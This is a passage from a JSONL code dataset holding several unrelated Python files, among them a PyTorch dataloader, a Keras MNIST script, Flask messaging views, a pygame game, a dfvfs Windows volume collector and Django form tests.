mind\n that pytorch samples are CxWxH.\n \"\"\"\n def __call__(self, tile):\n # randomly flip\n if np.random.rand() < 0.5: tile = np.flip(tile, axis=2).copy()\n if np.random.rand() < 0.5: tile = np.flip(tile, axis=1).copy()\n \n # randomly rotate\n rotations = np.random.choice([0,1,2,3])\n if rotations > 0: tile = np.rot90(tile, k=rotations, axes=(1,2)).copy()\n \n return tile\n\n\nclass ToFloatTensor(object):\n \"\"\"\n Converts numpy arrays to float Variables in Pytorch.\n \"\"\"\n def __call__(self, tile):\n tile = torch.from_numpy(tile).float()\n return tile\n\n\ndef masked_tile_dataloader(tile_dir, tile_files, mask_dir, augment=True, batch_size=4, shuffle=True, num_workers=4, n_samples=None):\n \"\"\"\n Returns a dataloader with Landsat tiles.\n \"\"\"\n transform_list = []\n if augment: transform_list.append(RandomFlipAndRotate())\n transform_list.append(ToFloatTensor())\n transform = transforms.Compose(transform_list)\n\n dataset = MaskedTileDataset(tile_dir, tile_files, mask_dir, transform=transform, n_samples=n_samples)\n dataloader = DataLoader(dataset, batch_size=batch_size, shuffle=shuffle, num_workers=num_workers)\n return dataloader\n","sub_path":"single_pixel_labels/src/datasets.py","file_name":"datasets.py","file_ext":"py","file_size_in_byte":2903,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"643010844","text":"import PyPDF2\n\n# Open file\nalice_file = open('alice.pdf', 'rb')\n\n# Create reader object\nalice_reader = PyPDF2.PdfFileReader(alice_file)\n\n# Create writer object\nalice_writer = PyPDF2.PdfFileWriter()\n\nprint(\"File loaded and reader and writer objects established\")\n# Store pages from file when the number is even\nfor pn in range(alice_reader.numPages):\n if (pn+1) % 2 == 0:\n print(\"Adding page \" + str(pn+1) + \" to writer...\")\n pObj = alice_reader.getPage(pn)\n alice_writer.addPage(pObj)\n\nprint(\"Finished adding pages to writer.\\n\")\n# Write file from writer contents\nprint(\"Writing copied file...\")\nalice_even_file = open('alice_even.pdf', 'wb')\nalice_writer.write(alice_even_file)\n\nprint(\"Done.\")\nalice_even_file.close()\nalice_file.close()","sub_path":"053-pdfs-copy/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"11442964","text":"#!/usr/bin/env python3\n\nimport sys\nfrom PyQt4 import QtGui, QtCore\n\nclass MainWindow(QtGui.QWidget):\n\n def __init__(self):\n super(MainWindow, self).__init__()\n\n qbtn = QtGui.QPushButton('Quit', self)\n qbtn.clicked.connect(QtCore.QCoreApplication.instance().quit)\n qbtn.resize(qbtn.sizeHint())\n qbtn.move(50, 50)\n\n self.setGeometry(300, 300, 250, 150)\n self.setWindowTitle('Quit button')\n\nif __name__=='__main__':\n app = QtGui.QApplication(sys.argv)\n main = MainWindow()\n main.show()\n sys.exit(app.exec_())\n","sub_path":"code/gui/quitter.py","file_name":"quitter.py","file_ext":"py","file_size_in_byte":570,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"81450568","text":"from __future__ import print_function\r\n\r\nimport matplotlib.pyplot as plt\r\nimport keras\r\nfrom keras.datasets import mnist\r\nfrom keras.layers import Dense, Dropout\r\nfrom keras.models import Sequential\r\n\r\nbatch_size = 128\r\nnum_classes = 10\r\nepochs = 20\r\n\r\ndef dataShaping(x_train, y_train,x_test,y_test):\r\n x_train = x_train.reshape(60000, 784)\r\n x_test = x_test.reshape(10000, 784)\r\n x_train = x_train.astype('float32')\r\n x_test = x_test.astype('float32')\r\n x_train /= 255\r\n x_test /= 255\r\n print(x_train.shape[0], 'train samples')\r\n print(x_test.shape[0], 'test samples')\r\n\r\n # convert class vectors to binary class matrices\r\n y_train = keras.utils.to_categorical(y_train, num_classes)\r\n y_test = keras.utils.to_categorical(y_test, num_classes)\r\n\r\n return (x_train, y_train), (x_test, y_test)\r\n\r\n# データ取得\r\nprint(\"データ取得====================================================================\")\r\n(x_train_raw, y_train_raw), (x_test_raw, y_test_raw) = mnist.load_data()\r\n\r\n# # データ整形\r\nprint(\"データ整形====================================================================\")\r\n(x_train, y_train), (x_test, y_test) = dataShaping(x_train_raw, y_train_raw, x_test_raw, y_test_raw)\r\n\r\n# モデル作成\r\nprint(\"モデル作成====================================================================\")\r\nmodel = Sequential()\r\nmodel.add(Dense(units=64, activation='relu', input_dim=784))\r\nmodel.add(Dense(units=10, activation='softmax'))\r\nmodel.compile(loss='categorical_crossentropy',\r\n optimizer='sgd',\r\n metrics=['accuracy'])\r\n\r\n# # 学習\r\nprint(\"学習==========================================================================\")\r\nmodel.fit(x_train, y_train, epochs=5, batch_size=32, verbose=1)\r\n\r\n# 評価\r\nprint(\"評価==========================================================================\")\r\nscore = model.evaluate(x_test, y_test, verbose=0)\r\nprint('Test loss:', score[0])\r\nprint('Test accuracy:', score[1])\r\n\r\nprint(x_test_raw[0])\r\nprint(y_test_raw[0])\r\n\r\nplt.matshow(x_test_raw[0], cmap=\"Greys\")\r\nplt.show()\r\n\r\npredicted = model.predict(x_test)\r\nprint(predicted[0])","sub_path":"learn/modelStudy.py","file_name":"modelStudy.py","file_ext":"py","file_size_in_byte":2128,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"640837153","text":"from datetime import datetime\nfrom flask import abort, flash, redirect, render_template, request, url_for\nfrom flask_login import current_user, login_required\n\nfrom . import pm\nfrom .forms import CreatePM\nfrom .. import db\nfrom ..accessories import (\n get_id, get_incoming, get_outgoing, get_sent, remove_incoming, remove_sent)\nfrom ..models.pm import Message\nfrom ..models.auth import User\n\n\n@pm.route('//all')\n@login_required\ndef show_all(nickname):\n target = User.query.filter_by(nickname=nickname).first()\n if not target:\n abort(404)\n if target != current_user:\n abort(403)\n outgoing = get_outgoing(target)\n sent = get_sent(target)\n incoming = get_incoming(target)\n return render_template(\n 'pm/show_all.html',\n outgoing=outgoing, sent=sent, incoming=incoming)\n\n\n@pm.route('/remove/')\n@login_required\ndef remove_message(id_):\n message = Message.query.get_or_404(id_)\n if current_user == message.recipient:\n remove_incoming(message)\n elif current_user == message.sender:\n remove_sent(message)\n else:\n abort(404)\n return redirect(url_for('pm.show_all', nickname=current_user.nickname))\n\n\n@pm.route('/remove', methods=['GET', 'POST'])\n@login_required\ndef remove():\n mtype = request.form.get('type')\n message = Message.query.get_or_404(get_id('message'))\n messages, rtype = None, None\n if mtype == 'pm-incoming':\n if current_user == message.recipient:\n remove_incoming(message)\n messages = get_incoming(current_user)\n rtype = 'incoming'\n elif mtype == 'pm-outgoing':\n if current_user == message.sender:\n db.session.delete(message)\n db.session.commit()\n messages = get_outgoing(current_user)\n rtype = 'outgoing'\n elif mtype == 'pm-sent':\n if current_user == message.sender:\n remove_sent(message)\n messages = get_sent(current_user)\n rtype = 'sent'\n return render_template('pm/_table.html', rtype=rtype, messages=messages)\n\n\n@pm.route('//answer/', methods=['GET', 'POST'])\n@login_required\ndef answer_message(nickname, id_):\n sender = User.query.filter_by(nickname=nickname).first()\n if not sender:\n abort(404)\n message = Message.query.get_or_404(id_)\n if message.recipient != sender or current_user != sender:\n abort(403)\n form = CreatePM()\n form.recipient.data = message.sender.nickname\n if form.validate_on_submit():\n answer = Message()\n answer.recipient = User.query.filter_by(\n nickname=form.recipient.data).first()\n answer.theme = form.theme.data\n answer.body = form.body.data\n answer.sender = sender\n answer.sent = datetime.utcnow()\n db.session.add(answer)\n db.session.commit()\n return redirect(url_for('pm.show_all', nickname=sender.nickname))\n if message.theme.startswith('re: '):\n form.theme.data = message.theme\n else:\n form.theme.data = \"re: \" + message.theme\n return render_template(\n 'pm/answer.html', form=form, sender=sender, message=message, view=2)\n\n\n@pm.route('//send', methods=['GET', 'POST'])\n@login_required\ndef send(nickname):\n sender = User.query.filter_by(nickname=nickname).first()\n if not sender:\n abort(404)\n if current_user != sender:\n abort(403)\n recipient = User.query.filter_by(\n nickname=request.args.get('recipient')).first()\n form = CreatePM()\n if recipient:\n form.recipient.data, view = recipient.nickname, 3\n else:\n view = 0\n if form.validate_on_submit():\n if not recipient:\n recipient = User.query.filter_by(\n nickname=form.recipient.data).first()\n if sender == recipient:\n flash('Личное сообщение нельзя отправить себе.')\n return redirect(url_for('pm.show_all', nickname=sender.nickname))\n message = Message()\n message.recipient = recipient\n message.theme = form.theme.data\n message.body = form.body.data\n message.sender = sender\n message.sent = datetime.utcnow()\n db.session.add(message)\n db.session.commit()\n return redirect(url_for('pm.show_all', nickname=sender.nickname))\n return render_template('pm/send.html', form=form, sender=sender, view=view)\n\n\n@pm.route('//change/', methods=['GET', 'POST'])\n@login_required\ndef change_outgoing(nickname, id_):\n sender = User.query.filter_by(nickname=nickname).first()\n message = Message.query.get_or_404(id_)\n if not sender:\n abort(404)\n if current_user != sender or sender != message.sender:\n abort(403)\n message.sent = None\n db.session.add(message)\n db.session.commit()\n form = CreatePM()\n form.recipient.data = message.recipient.nickname\n if form.validate_on_submit():\n message.theme = form.theme.data\n message.body = form.body.data\n message.sent = datetime.utcnow()\n db.session.add(message)\n db.session.commit()\n return redirect(url_for('pm.show_all', nickname=sender.nickname))\n form.theme.data = message.theme\n form.body.data = message.body\n return render_template(\n 'pm/send.html', form=form, sender=sender, message=message, view=1)\n\n\n@pm.route('/cancel/')\n@login_required\ndef cancel_changes(id_):\n message = Message.query.get_or_404(id_)\n if current_user == message.sender:\n message.sent = datetime.utcnow()\n db.session.add(message)\n db.session.commit()\n return redirect(url_for(\n 'pm.show_all', nickname=message.sender.nickname))\n else:\n abort(403)\n\n\n@pm.route('/incoming/')\n@login_required\ndef read_incoming(id_):\n message = Message.query.get_or_404(id_)\n if current_user != message.recipient:\n abort(403)\n if not message.received:\n message.received = datetime.utcnow()\n db.session.add(message)\n db.session.commit()\n return render_template('pm/read_message.html', message=message)\n\n\n@pm.route('/sent/')\n@login_required\ndef read_sent(id_):\n message = Message.query.get_or_404(id_)\n if current_user != message.sender:\n abort(403)\n return render_template('pm/read_message.html', message=message)\n","sub_path":"sandbox/pm/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6395,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"247371440","text":"import random\nimport math\n\nfrom pygame.locals import QUIT, KEYUP\nfrom src.game_screens.screen import Screen\nfrom src.misc.game_enums import Game_mode\n\nfrom src.objects.cart import Cart\nfrom src.objects.coin import Coin\nfrom src.objects.bluecoin import BlueCoin\nfrom src.objects.bomb import Bomb\n\n\nclass Game_screen(Screen):\n def __init__(self, pygame, res, surface, size, gameclock, game_manager):\n Screen.__init__(self, pygame, res, surface)\n\n # set up initial variables\n self.need_reset = False\n self.size = size\n self.result = 0\n self.i = 1\n self.coinlist = []\n self.gameclock = gameclock\n self.game_manager = game_manager\n self.timer = 0\n self.cart = Cart(res, self.size, surface)\n\n # set up texts\n self.time_text = res.basicFont.render('TIMER:', True, res.BLACK, res.WHITE)\n self.textbox = self.time_text.get_rect(center=(900, 170))\n self.point_text = res.basicFont.render('POINTS:', True, res.BLACK, res.WHITE)\n self.pointbox = self.point_text.get_rect(center=(100, 170))\n self.display_time = res.basicFont.render('0', True, res.BLACK, res.WHITE)\n self.timebox = self.display_time.get_rect(center=(900, 200))\n self.score = res.basicFont.render(str(self.cart.points), True, res.BLACK, res.WHITE)\n self.scorebox = self.score.get_rect(center=(100, 200))\n\n def reset_before_restart(self):\n self.need_reset = False\n self.result = 0\n self.i = 1\n self.coinlist = []\n self.timer = 0\n self.game_manager.reset()\n del self.cart\n self.cart = Cart(self.res, self.size, self.surface)\n\n def update(self, events):\n # if we are restarting the game\n if self.need_reset:\n self.reset_before_restart()\n\n self.cart.handle_keys(self.pygame, self.size)\n self.surface.blit(self.pygame.transform.scale(self.res.BG, self.size), (0, 0))\n\n c = self.get_random_entity(self.i, self.res, self.size, self.surface)\n self.coinlist.append(c)\n\n for b in self.coinlist[0:self.i:15]:\n # (use 14 or 15) this is for the rate at which\n # objects fall, can change this\n b.draw()\n b.fall()\n self.cart.collect_item(self.pygame, self.res, b)\n\n self.i += 1\n\n self.cart.draw()\n\n # Update time\n seconds = self.gameclock.get_time() / 1000.0\n self.timer += seconds\n\n # returns real value of timer to int value\n int_timer = math.trunc(self.timer)\n self.display_time = self.res.basicFont.render(str(int_timer), True, self.res.BLACK, self.res.WHITE) \n self.surface.blit(self.time_text, self.textbox)\n self.surface.blit(self.display_time, self.timebox)\n self.surface.blit(self.point_text, self.pointbox)\n self.score = self.res.basicFont.render(str(self.cart.points), True, self.res.BLACK, self.res.WHITE)\n self.surface.blit(self.score, self.scorebox)\n\n self.pygame.display.flip()\n\n if self.timer > 30 or self.cart.dead:\n self.need_reset = True\n self.game_manager.score = self.cart.points\n return Game_mode.GAME_OVER\n\n for event in events:\n if event.type == QUIT:\n return Game_mode.QUIT\n\n return Game_mode.GAME\n\n def get_random_entity(self, i, res, size, surface):\n # randomizing bonus coin/bomb/coin fall frequency, can change this\n if not i % 3 or not i % 4:\n select = random.randint(1, 2)\n if select == 1:\n c = BlueCoin(res, size, surface)\n else: # select = 2\n c = Bomb(res, size, surface)\n elif not i % 5 or not i % 7 or not i % 11:\n c = Bomb(res, size, surface)\n else:\n c = Coin(res, size, surface)\n\n return c\n","sub_path":"src/game_screens/game_screen.py","file_name":"game_screen.py","file_ext":"py","file_size_in_byte":3890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"9196911","text":"# -*- coding: utf-8 -*-\n\"\"\"Classes to implement a Windows volume collector.\"\"\"\n\nfrom __future__ import print_function\nimport getpass\nimport os\nimport sys\n\nimport dfvfs\n\nfrom dfvfs.credentials import manager as credentials_manager\nfrom dfvfs.lib import definitions\nfrom dfvfs.lib import errors\nfrom dfvfs.helpers import source_scanner\nfrom dfvfs.helpers import windows_path_resolver\nfrom dfvfs.path import factory as path_spec_factory\nfrom dfvfs.resolver import resolver\nfrom dfvfs.volume import tsk_volume_system\n\nimport registry\n\n\nif dfvfs.__version__ < u'20150704':\n raise ImportWarning(u'collector.py requires dfvfs 20150704 or later.')\n\n\nclass CollectorError(Exception):\n \"\"\"Class that defines collector errors.\"\"\"\n\n\nclass WindowsVolumeCollector(object):\n \"\"\"Class that defines a Windows volume collector.\"\"\"\n\n _WINDOWS_DIRECTORIES = frozenset([\n u'C:\\\\Windows',\n u'C:\\\\WINNT',\n u'C:\\\\WTSRV',\n u'C:\\\\WINNT35',\n ])\n\n def __init__(self):\n \"\"\"Initializes the Windows volume collector object.\"\"\"\n super(WindowsVolumeCollector, self).__init__()\n self._file_system = None\n self._path_resolver = None\n self._source_scanner = source_scanner.SourceScanner()\n self._single_file = False\n self._source_path = None\n self._windows_directory = None\n\n def _GetTSKPartitionIdentifiers(self, scan_node):\n \"\"\"Determines the TSK partition identifiers.\n\n Args:\n scan_node: the scan node (instance of dfvfs.ScanNode).\n\n Returns:\n A list of partition identifiers.\n\n Raises:\n RuntimeError: if the format of or within the source is not supported or\n the the scan node is invalid or if the volume for\n a specific identifier cannot be retrieved.\n \"\"\"\n if not scan_node or not scan_node.path_spec:\n raise RuntimeError(u'Invalid scan node.')\n\n volume_system = tsk_volume_system.TSKVolumeSystem()\n volume_system.Open(scan_node.path_spec)\n\n volume_identifiers = self._source_scanner.GetVolumeIdentifiers(\n volume_system)\n if not volume_identifiers:\n print(u'[WARNING] No partitions found.')\n return\n\n return volume_identifiers\n\n def _PromptUserForEncryptedVolumeCredential(\n self, scan_context, locked_scan_node, credentials):\n \"\"\"Prompts the user to provide a credential for an encrypted volume.\n\n Args:\n scan_context: the source scanner context (instance of\n SourceScannerContext).\n locked_scan_node: the locked scan node (instance of SourceScanNode).\n credentials: the credentials supported by the locked scan node (instance\n of dfvfs.Credentials).\n\n Returns:\n A boolean value indicating whether the volume was unlocked.\n \"\"\"\n # TODO: print volume description.\n if locked_scan_node.type_indicator == definitions.TYPE_INDICATOR_BDE:\n print(u'Found a BitLocker encrypted volume.')\n else:\n print(u'Found an encrypted volume.')\n\n credentials_list = list(credentials.CREDENTIALS)\n credentials_list.append(u'skip')\n\n print(u'Supported credentials:')\n print(u'')\n for index, name in enumerate(credentials_list):\n print(u' {0:d}. {1:s}'.format(index, name))\n print(u'')\n print(u'Note that you can abort with Ctrl^C.')\n print(u'')\n\n result = False\n while not result:\n print(u'Select a credential to unlock the volume: ', end=u'')\n # TODO: add an input reader.\n input_line = sys.stdin.readline()\n input_line = input_line.strip()\n\n if input_line in credentials_list:\n credential_type = input_line\n else:\n try:\n credential_type = int(input_line, 10)\n credential_type = credentials_list[credential_type]\n except (IndexError, ValueError):\n print(u'Unsupported credential: {0:s}'.format(input_line))\n continue\n\n if credential_type == u'skip':\n break\n\n credential_data = getpass.getpass(u'Enter credential data: ')\n print(u'')\n\n if credential_type == u'key':\n try:\n credential_data = credential_data.decode(u'hex')\n except TypeError:\n print(u'Unsupported credential data.')\n continue\n\n result = self._source_scanner.Unlock(\n scan_context, locked_scan_node.path_spec, credential_type,\n credential_data)\n\n if not result:\n print(u'Unable to unlock volume.')\n print(u'')\n\n return result\n\n def _ScanFileSystem(self, path_resolver):\n \"\"\"Scans a file system for the Windows volume.\n\n Args:\n path_resolver: the path resolver (instance of dfvfs.WindowsPathResolver).\n\n Returns:\n True if the Windows directory was found, false otherwise.\n\n \"\"\"\n result = False\n\n for windows_path in self._WINDOWS_DIRECTORIES:\n windows_path_spec = path_resolver.ResolvePath(windows_path)\n\n result = windows_path_spec is not None\n if result:\n self._windows_directory = windows_path\n break\n\n return result\n\n def _ScanVolume(self, scan_context, volume_scan_node, windows_path_specs):\n \"\"\"Scans the volume scan node for volume and file systems.\n\n Args:\n scan_context: the source scanner context (instance of\n SourceScannerContext).\n volume_scan_node: the volume scan node (instance of dfvfs.ScanNode).\n windows_path_specs: a list of source path specification (instances\n of dfvfs.PathSpec).\n\n Raises:\n RuntimeError: if the format of or within the source\n is not supported or the the scan node is invalid.\n \"\"\"\n if not volume_scan_node or not volume_scan_node.path_spec:\n raise RuntimeError(u'Invalid or missing volume scan node.')\n\n if len(volume_scan_node.sub_nodes) == 0:\n self._ScanVolumeScanNode(\n scan_context, volume_scan_node, windows_path_specs)\n\n else:\n # Some volumes contain other volume or file systems e.g. BitLocker ToGo\n # has an encrypted and unencrypted volume.\n for sub_scan_node in volume_scan_node.sub_nodes:\n self._ScanVolumeScanNode(\n scan_context, sub_scan_node, windows_path_specs)\n\n def _ScanVolumeScanNode(\n self, scan_context, volume_scan_node, windows_path_specs):\n \"\"\"Scans an individual volume scan node for volume and file systems.\n\n Args:\n scan_context: the source scanner context (instance of\n SourceScannerContext).\n volume_scan_node: the volume scan node (instance of dfvfs.ScanNode).\n windows_path_specs: a list of source path specification (instances\n of dfvfs.PathSpec).\n\n Raises:\n RuntimeError: if the format of or within the source\n is not supported or the the scan node is invalid.\n \"\"\"\n if not volume_scan_node or not volume_scan_node.path_spec:\n raise RuntimeError(u'Invalid or missing volume scan node.')\n\n # Get the first node where where we need to decide what to process.\n scan_node = volume_scan_node\n while len(scan_node.sub_nodes) == 1:\n scan_node = scan_node.sub_nodes[0]\n\n # The source scanner found an encrypted volume and we need\n # a credential to unlock the volume.\n if scan_node.type_indicator in definitions.ENCRYPTED_VOLUME_TYPE_INDICATORS:\n self._ScanVolumeScanNodeEncrypted(\n scan_context, scan_node, windows_path_specs)\n\n # The source scanner found Volume Shadow Snapshot which is ignored.\n elif scan_node.type_indicator == definitions.TYPE_INDICATOR_VSHADOW:\n pass\n\n elif scan_node.type_indicator in definitions.FILE_SYSTEM_TYPE_INDICATORS:\n file_system = resolver.Resolver.OpenFileSystem(scan_node.path_spec)\n if file_system:\n try:\n path_resolver = windows_path_resolver.WindowsPathResolver(\n file_system, scan_node.path_spec.parent)\n\n result = self._ScanFileSystem(path_resolver)\n if result:\n windows_path_specs.append(scan_node.path_spec)\n\n finally:\n file_system.Close()\n\n def _ScanVolumeScanNodeEncrypted(\n self, scan_context, volume_scan_node, windows_path_specs):\n \"\"\"Scans an encrypted volume scan node for volume and file systems.\n\n Args:\n scan_context: the source scanner context (instance of\n SourceScannerContext).\n volume_scan_node: the volume scan node (instance of dfvfs.ScanNode).\n windows_path_specs: a list of source path specification (instances\n of dfvfs.PathSpec).\n \"\"\"\n result = not scan_context.IsLockedScanNode(volume_scan_node.path_spec)\n if not result:\n credentials = credentials_manager.CredentialsManager.GetCredentials(\n volume_scan_node.path_spec)\n\n result = self._PromptUserForEncryptedVolumeCredential(\n scan_context, volume_scan_node, credentials)\n\n if result:\n self._source_scanner.Scan(\n scan_context, scan_path_spec=volume_scan_node.path_spec)\n self._ScanVolume(scan_context, volume_scan_node, windows_path_specs)\n\n def GetWindowsVolumePathSpec(self, source_path):\n \"\"\"Determines the file system path specification of the Windows volume.\n\n Args:\n source_path: the source path.\n\n Returns:\n True if successful or False otherwise.\n\n Raises:\n CollectorError: if the source path does not exists, or if the source path\n is not a file or directory, or if the format of or within\n the source file is not supported.\n \"\"\"\n # Note that os.path.exists() does not support Windows device paths.\n if (not source_path.startswith(u'\\\\\\\\.\\\\') and\n not os.path.exists(source_path)):\n raise CollectorError(\n u'No such device, file or directory: {0:s}.'.format(source_path))\n\n self._source_path = source_path\n scan_context = source_scanner.SourceScannerContext()\n scan_context.OpenSourcePath(source_path)\n\n try:\n self._source_scanner.Scan(scan_context)\n except (errors.BackEndError, ValueError) as exception:\n raise RuntimeError(\n u'Unable to scan source with error: {0:s}.'.format(exception))\n\n self._single_file = False\n if scan_context.source_type == definitions.SOURCE_TYPE_FILE:\n self._single_file = True\n return True\n\n windows_path_specs = []\n scan_node = scan_context.GetRootScanNode()\n if scan_context.source_type == definitions.SOURCE_TYPE_DIRECTORY:\n windows_path_specs.append(scan_node.path_spec)\n\n else:\n # Get the first node where where we need to decide what to process.\n while len(scan_node.sub_nodes) == 1:\n scan_node = scan_node.sub_nodes[0]\n\n # The source scanner found a partition table and we need to determine\n # which partition needs to be processed.\n if scan_node.type_indicator != definitions.TYPE_INDICATOR_TSK_PARTITION:\n partition_identifiers = None\n\n else:\n partition_identifiers = self._GetTSKPartitionIdentifiers(scan_node)\n\n if not partition_identifiers:\n self._ScanVolume(scan_context, scan_node, windows_path_specs)\n\n else:\n for partition_identifier in partition_identifiers:\n location = u'/{0:s}'.format(partition_identifier)\n sub_scan_node = scan_node.GetSubNodeByLocation(location)\n self._ScanVolume(scan_context, sub_scan_node, windows_path_specs)\n\n if not windows_path_specs:\n raise CollectorError(\n u'No supported file system found in source.')\n\n file_system_path_spec = windows_path_specs[0]\n self._file_system = resolver.Resolver.OpenFileSystem(file_system_path_spec)\n\n if file_system_path_spec.type_indicator == definitions.TYPE_INDICATOR_OS:\n mount_point = file_system_path_spec\n else:\n mount_point = file_system_path_spec.parent\n\n self._path_resolver = windows_path_resolver.WindowsPathResolver(\n self._file_system, mount_point)\n\n # The source is a directory or single volume storage media image.\n if not self._windows_directory:\n if not self._ScanFileSystem(self._path_resolver):\n return False\n\n if not self._windows_directory:\n return False\n\n self._path_resolver.SetEnvironmentVariable(\n u'SystemRoot', self._windows_directory)\n self._path_resolver.SetEnvironmentVariable(\n u'WinDir', self._windows_directory)\n\n return True\n\n def OpenFile(self, windows_path):\n \"\"\"Opens the file specificed by the Windows path.\n\n Args:\n windows_path: the Windows path to the file.\n\n Returns:\n The file-like object (instance of dfvfs.FileIO) or None if\n the file does not exist.\n \"\"\"\n if self._single_file:\n # TODO: check name or move this into WindowsRegistryCollector.\n path_spec = path_spec_factory.Factory.NewPathSpec(\n definitions.TYPE_INDICATOR_OS, location=self._source_path)\n else:\n path_spec = self._path_resolver.ResolvePath(windows_path)\n if path_spec is None:\n return None\n\n return resolver.Resolver.OpenFileObject(path_spec)\n\n\nclass CollectorRegistryFileReader(registry.RegistryFileReader):\n \"\"\"Class that defines the collector-based Windows Registry file reader.\"\"\"\n\n def __init__(self, collector):\n \"\"\"Initializes the Windows Registry file reader.\n\n Args:\n collector: the Windows volume collector (instance of\n WindowsVolumeCollector).\n \"\"\"\n super(CollectorRegistryFileReader, self).__init__()\n self._collector = collector\n\n def Open(self, windows_path):\n \"\"\"Opens the Registry file specificed by the Windows path.\n\n Args:\n windows_path: the Windows path to the Registry file.\n\n Returns:\n The Registry file (instance of RegistryFile) or None.\n \"\"\"\n file_object = self._collector.OpenFile(windows_path)\n if file_object is None:\n return None\n\n registry_file = registry.RegistryFile()\n registry_file.Open(file_object)\n return registry_file\n","sub_path":"scripts/collector.py","file_name":"collector.py","file_ext":"py","file_size_in_byte":13887,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"250541060","text":"from django.test import TestCase\nfrom django.contrib.auth import get_user_model\n\nfrom home.models import User, FoundPerson, MissingPerson\nfrom home.forms import UserForm, MissingForm, FoundForm\n\n\nclass UserFormTest(TestCase):\n\n def setUp(self):\n # form = UserForm()\n self.user = User.objects.create(username=\"Turanga Leela\", email=\"leela@example.com\",\n password=\"Hi there\")\n\n def test_Password_field_label(self):\n self.user = User.objects.create(Password='235ccfg6hkiism')\n self.assertEquals(UserForm.Password, '235ccfg6hkiism')\n\n def test_valid_form(self):\n mp = User.objects.create(title='Login Form', body='Bar')\n data = {'title': mp.title, 'body': mp.body, }\n form = UserForm(data=data)\n self.assertTrue(form.is_valid())\n\n def test_invalid_form(self):\n w = User.objects.create(title='Login Form', body='')\n data = {'title': w.title, 'body': w.body, }\n form = UserForm(data=data)\n self.assertFalse(form.is_valid())\n\n def test_valid_data(self):\n form = UserForm({\n 'username': \"Turanga Leela\",\n 'email': \"leela@example.com\",\n 'password': \"Hi there\",\n })\n\n self.assertTrue(form.is_valid())\n user = form.save()\n self.assertEqual(user.name, \"Turanga Leela\")\n self.assertEqual(user.email, \"leela@example.com\")\n self.assertEqual(user.password, \"Hi 2513698514258there\")\n # self.assertEqual(user.entry, self.entry)\n\n def test_blank_data(self):\n form = UserForm({})\n # form = UserForm({}, entry=self.entry)\n self.assertFalse(form.is_valid())\n self.assertEqual(form.errors, {\n 'username': ['required'],\n 'email': ['required'],\n 'password': ['required'],\n })\n\n\nclass MissingFormTest(TestCase):\n def setUp(self):\n form = MissingForm()\n self.user = form.objects.create(FirstName='aya', SecondName='shaaban',\n Sex='female', AgeBeforeMissing='15',\n DateOfBirth='20/5/2012', HairColour='fuchia',\n EyesColour='red',\n Weight='50', Height='150',\n MissingFrom='cairo',\n MissingDate='20/5/2018', RelativeID='53689',\n RelativeRelation='mother',\n Details='l2etha',\n MissingPersonImage='',)\n # image needs mock up\n\n def test_valid_form(self):\n mp = MissingPerson.objects.create(title='Find Your Missing.....', body='Bar')\n data = {'title': mp.title, 'body': mp.body, }\n form = MissingForm(data=data)\n self.assertTrue(form.is_valid())\n\n def test_invalid_form(self):\n w = MissingPerson.objects.create(title='Find Your Missing.....', body='')\n data = {'title': w.title, 'body': w.body, }\n form = MissingForm(data=data)\n self.assertFalse(form.is_valid())\n\n def test_valid_data(self):\n form = MissingForm({\n 'FirstName': 'aya', 'SecondName': 'shaaban', 'Sex': 'female', 'AgeBeforeMissing': '15',\n 'DateOfBirth': '20/5/2012', 'HairColour': 'fuchia', 'EyesColour': 'red',\n 'Weight': '50', 'Height': '150', 'MissingFrom': 'cairo',\n 'MissingDate': '20/5/2018', 'RelativeID': '53689', 'RelativeRelation': 'mother',\n 'Details': 'l2etha',\n 'MissingPersonImage': '',\n })\n\n self.assertTrue(form.is_valid())\n missp = form.save()\n self.assertEqual(missp.FirstName, \"aya\")\n self.assertEqual(missp.SecondName, \"shaaban\")\n self.assertEqual(missp.Sex, \"female\")\n self.assertEqual(missp.AgeBeforeMissing, \"15\")\n self.assertEqual(missp.DateOfBirth, \"20/5/2012\")\n self.assertEqual(missp.HairColour, \"fuchia\")\n self.assertEqual(missp.EyesColour, \"red\")\n self.assertEqual(missp.Weight, \"50\")\n self.assertEqual(missp.Height, \"150\")\n self.assertEqual(missp.MissingFrom, \"cairo\")\n self.assertEqual(missp.MissingDate, \"20/5/2018\")\n self.assertEqual(missp.RelativeID, \"53689\")\n self.assertEqual(missp.RelativeRelation, \"mother\")\n self.assertEqual(missp.Details, \"l2etha\")\n self.assertEqual(missp.MissingPersonImage, \"\")\n\n def test_blank_data(self):\n form = UserForm({})\n # form = UserForm({}, entry=self.entry)\n self.assertFalse(form.is_valid())\n self.assertEqual(form.errors, {\n 'FirstName': ['required'],\n 'SecondNam': ['required'],\n 'AgeBeforeMissing': ['required'],\n 'DateOfBirth': ['required'],\n 'HairColour': ['required'],\n 'EyesColour': ['required'],\n 'Weigh': ['required'],\n 'Height': ['required'],\n 'MissingFrom': ['required'],\n 'MissingDate': ['required'],\n 'RelativeID': ['required'],\n 'RelativeRelation': ['required'],\n 'Details': ['required'],\n 'MissingPersonImage': ['required'],\n\n })\n\n\nclass FoundFormTest(TestCase):\n # def setUp(self):\n # form = FoundForm()\n # self.user = form.objects.create(Sex=\"femal\",FoundIn='cairo',\n # FoundDate='20/4/2015',Location='5233665',Details='l2etha',\n # FoundPersonImage='',)\n def test_valid_form(self):\n fp = FoundPerson.objects.create(title='Found Form', body='Bar')\n data = {'title': fp.title, 'body': fp.body, }\n form = FoundForm(data=data)\n self.assertTrue(form.is_valid())\n\n def test_invalid_form(self):\n w = FoundPerson.objects.create(title='Found Form', body='')\n data = {'title': w.title, 'body': w.body, }\n form = FoundForm(data=data)\n self.assertFalse(form.is_valid())\n\n def test_valid_data(self):\n form = FoundForm({'Sex': \"femal\",\n 'FoundIn': \"cairo\",\n 'FoundDate': \"20/4/2015\",\n 'Location': 